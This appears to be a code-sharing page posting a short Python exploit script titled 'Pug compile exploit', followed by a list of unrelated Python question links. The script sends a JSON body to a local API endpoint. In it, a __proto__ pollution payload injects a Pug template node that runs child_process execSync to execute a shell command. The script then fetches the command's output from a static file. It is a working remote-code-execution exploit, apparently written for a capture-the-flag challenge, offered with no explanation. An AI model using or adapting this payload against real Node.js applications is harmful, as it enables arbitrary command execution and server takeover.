Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

4 votes113 views2 answers
Queue python
Python
0 vote113 views2 answers
Python x y coordinates
Python
0 vote99 views3 answers
Convert c code to python code online
Python
2 votes124 views2 answers
How to translate to string to different alphabet python
Python
0 vote107 views1 answer
Python pandas convert comma separated number string to integer list
Python
1 vote97 views2 answers
Pandas index to datetime
Python
0 vote102 views1 answer
Use mark down with flask
Python
0 vote95 views1 answer
Del df.loc
Python
0 vote95 views3 answers
How to install idle on ubuntu 20.04
Python
0 vote105 views1 answer
Python cv2 blob detection seg fault
Python